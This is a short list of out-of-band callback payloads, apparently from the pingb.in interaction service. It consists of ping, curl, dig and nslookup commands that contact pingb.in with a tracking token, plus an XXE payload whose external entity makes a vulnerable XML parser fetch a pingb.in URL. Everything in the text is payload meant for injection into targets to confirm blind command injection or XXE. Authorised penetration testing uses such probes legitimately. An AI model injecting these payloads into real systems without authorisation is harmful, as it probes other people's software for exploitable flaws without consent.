$ ping -c1 -p 0097c988f345abf984cc9eba33cbab00 pingb.in
$ curl pingb.in/p/97c988f345abf984cc9eba33cbab
$ dig 97c988f345abf984cc9eba33cbab @pingb.in
$ dig 97c988f345abf984cc9eba33cbab.ns.pingb.in
C:\> nslookup 97c988f345abf984cc9eba33cbab pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/97c988f345abf984cc9eba33cbab">]> <foo>&xxe;</foo>